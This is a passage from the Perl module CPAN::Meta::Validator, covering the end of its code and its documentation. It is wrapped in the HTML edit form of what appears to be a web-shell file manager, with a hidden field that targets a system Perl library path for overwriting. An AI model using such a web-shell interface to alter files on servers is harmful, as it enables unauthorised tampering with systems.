        return 1 if $key =~ /x_/i;
    } else {
        $key = '&lt;undef&gt;';
    }
    $self-&gt;_error( &quot;Key '$key' is not a legal prereq relationship.&quot; );
    return 0;
}

sub _error {
    my $self = shift;
    my $mess = shift;

    $mess .= ' ('.join(' -&gt; ',@{$self-&gt;{stack}}).')'  if($self-&gt;{stack});
    $mess .= &quot; [Validation: $self-&gt;{spec}]&quot;;

    push @{$self-&gt;{errors}}, $mess;
}

1;

# ABSTRACT: validate CPAN distribution metadata structures

__END__

=pod

=encoding UTF-8

=head1 NAME

CPAN::Meta::Validator - validate CPAN distribution metadata structures

=head1 VERSION

version 2.143240

=head1 SYNOPSIS

  my $struct = decode_json_file('META.json');

  my $cmv = CPAN::Meta::Validator-&gt;new( $struct );

  unless ( $cmv-&gt;is_valid ) {
    my $msg = &quot;Invalid META structure.  Errors found:\n&quot;;
    $msg .= join( &quot;\n&quot;, $cmv-&gt;errors );
    die $msg;
  }

=head1 DESCRIPTION

This module validates a CPAN Meta structure against the version of the
the specification claimed in the C&lt;meta-spec&gt; field of the structure.

=head1 METHODS

=head2 new

  my $cmv = CPAN::Meta::Validator-&gt;new( $struct )

The constructor must be passed a metadata structure.

=head2 is_valid

  if ( $cmv-&gt;is_valid ) {
    ...
  }

Returns a boolean value indicating whether the metadata provided
is valid.

=head2 errors

  warn( join &quot;\n&quot;, $cmv-&gt;errors );

Returns a list of errors seen during validation.

=begin :internals

=head2 Check Methods

=over

=item *

check_map($spec,$data)

Checks whether a map (or hash) part of the data structure conforms to the
appropriate specification definition.

=item *

check_list($spec,$data)

Checks whether a list (or array) part of the data structure conforms to
the appropriate specification definition.

=item *

=back

=head2 Validator Methods

=over

=item *

header($self,$key,$value)

Validates that the header is valid.

Note: No longer used as we now read the data structure, not the file.

=item *

url($self,$key,$value)

Validates that a given value is in an acceptable URL format

=item *

urlspec($self,$key,$value)

Validates that the URL to a META specification is a known one.

=item *

string_or_undef($self,$key,$value)

Validates that the value is either a string or an undef value. Bit of a
catchall function for parts of the data structure that are completely user
defined.

=item *

string($self,$key,$value)

Validates that a string exists for the given key.

=item *

file($self,$key,$value)

Validate that a file is passed for the given key. This may be made more
thorough in the future. For now it acts like \&amp;string.

=item *

exversion($self,$key,$value)

Validates a list of versions, e.g. '&lt;= 5, &gt;=2, ==3, !=4, &gt;1, &lt;6, 0'.

=item *

version($self,$key,$value)

Validates a single version string. Versions of the type '5.8.8' and '0.00_00'
are both valid. A leading 'v' like 'v1.2.3' is also valid.

=item *

boolean($self,$key,$value)

Validates for a boolean value. Currently these values are '1', '0', 'true',
'false', however the latter 2 may be removed.

=item *

license($self,$key,$value)

Validates that a value is given for the license. Returns 1 if an known license
type, or 2 if a value is given but the license type is not a recommended one.

=item *

custom_1($self,$key,$value)

Validates that the given key is in CamelCase, to indicate a user defined
keyword and only has characters in the class [-_a-zA-Z].  In version 1.X
of the spec, this was only explicitly stated for 'resources'.

=item *

custom_2($self,$key,$value)

Validates that the given key begins with 'x_' or 'X_', to indicate a user
defined keyword and only has characters in the class [-_a-zA-Z]

=item *

identifier($self,$key,$value)

Validates that key is in an acceptable format for the META specification,
for an identifier, i.e. any that matches the regular expression
qr/[a-z][a-z_]/i.

=item *

module($self,$key,$value)

Validates that a given key is in an acceptable module name format, e.g.
'Test::CPAN::Meta::Version'.

=back

=end :internals

=for Pod::Coverage anything boolean check_list custom_1 custom_2 exversion file
identifier license module phase relation release_status string string_or_undef
url urlspec version header check_map

=head1 BUGS

Please report any bugs or feature using the CPAN Request Tracker.
Bugs can be submitted through the web interface at
L&lt;http://rt.cpan.org/Dist/Display.html?Queue=CPAN-Meta&gt;

When submitting a bug or request, please include a test-file or a patch to an
existing test-file that illustrates the bug or desired feature.

=head1 AUTHORS

=over 4

=item *

David Golden &lt;dagolden@cpan.org&gt;

=item *

Ricardo Signes &lt;rjbs@cpan.org&gt;

=back

=head1 COPYRIGHT AND LICENSE

This software is copyright (c) 2010 by David Golden and Ricardo Signes.

This is free software; you can redistribute it and/or modify it under
the same terms as the Perl 5 programming language system itself.

=cut
</textarea><br><br><input type='hidden' name='archivo_editar' value='/usr/local/share/perl5/CPAN/Meta/Validator.pm'><input type='submit' value='[确定] 保存' style='background:#c0c0c0; color:#000; border:2px solid #000; padding:8px 24px; font-family:monospace; font-weight:bold; cursor:pointer;'> <a href='?path=%2Fusr%2Flocal%2Fshare%2Fperl5%2FCPAN%2FMeta' style='color:#000; text-decoration:none; padding:8px 24px; border:2px solid #000; background:#c0c0c0; font-weight:bold;'>[X] 取消</a></form></div></div><div style='color:#000080; font-family:monospace; text-align:center; padding:20px; border-top:2px solid #000; margin-top:20px;'>[X] MAKING LOT MONEY (MLM)</div>